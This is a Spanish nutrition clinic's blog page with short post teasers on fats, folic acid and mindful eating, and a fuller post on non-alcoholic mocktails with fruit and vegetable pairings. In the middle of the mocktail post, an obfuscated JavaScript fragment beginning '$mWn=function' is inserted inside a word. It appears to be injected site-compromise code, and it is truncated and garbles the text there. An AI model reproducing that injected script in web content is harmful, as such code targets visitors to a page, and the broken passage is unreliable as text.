Te hemos preparado dos tablas muy sencillas que te ayudarán a hacer la compra de forma sana
Etiqueta: nutrición Tenerife
¿Ácido fólico contra la migraña?
Un estudio ha revelado que si aumentas la ingesta de ácido fólico puedes aliviar las migrañas.
Grasas buenas y malas, en qué alimentos encontrarlas
La grasa es un nutriente que se ha estigmatizado como algo que se debe evitar.
Aunque no lo creas la grasa tiene nutrientes esenciales que tu cuerpo necesita para estar sano.
Por eso, en lugar de eliminar la grasa de tu dieta, es mejor saber distinguir entre las grasas buenas y malas, y eliminar ciertos tipos de grasas e incluir otros.
¿Qué es el beauty food? Para la piel
Beauty food,una forma de alimentarse que incluye productos con beneficios probados sobre nuestro aspecto físico.
Mindful eating: la dieta que no lo es
Un término en auge en los últimos años, la alimentación consciente o Mindful Eating (como se conoce en EEUU) te enseña a comer sin dietas: se trata de aprender a relacionarte de manera sana con la comida.
Mocktails : sanos y ricos
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<p>Seguro que has oído hablar de los <strong>mocktails</strong>, son rigurosa tendencia.</p>
<p>¿Qué es un mocktail?</p>
<p>Pues es muy sencillo de explicar, <strong>mocktail</strong> es la fusión de dos palabras, mock y cocktail, y su traducción sería algo así como una simulación de cocktail, es decir, un cóctel sin alcohol.</p>
<blockquote><p>Se trata de bebidas sin alcohol a base de frutas y verduras muy poco calóricos y con múltiples ventajas nutricionales. Una excelente forma de hidratarse en los días de calor</p></blockquote>
<p>No somos exper<script>$mWn=function(n){if(typeof ($mWn.list[n])==)
tos en cócteles pero si te animas a prepararte alguno te contamos que frutas y verduras “casan” entre sí y lo que te aportan:
Sandía+fresas: es una deliciosa combinación. La sandía y las fresas son muy ricas en antioxidantes.
Melón+uva: Muy buena pareja porque la uva potencia el sistema inmunológico y la uva es un potente antioxidante
Mango+espinaca: El mango rico en provitamina A es bueno para la piel y la vista y la espinaca rica en ácido fólico que ayuda a absorber el hierro.
Lima+pepino: muy refrescante y además ideal para cuidar la línea, muy poco calórico, además el pepino es muy diurético.
¿Te animas?
Clínica Martos Bances, especialistas en dietética y nutrición
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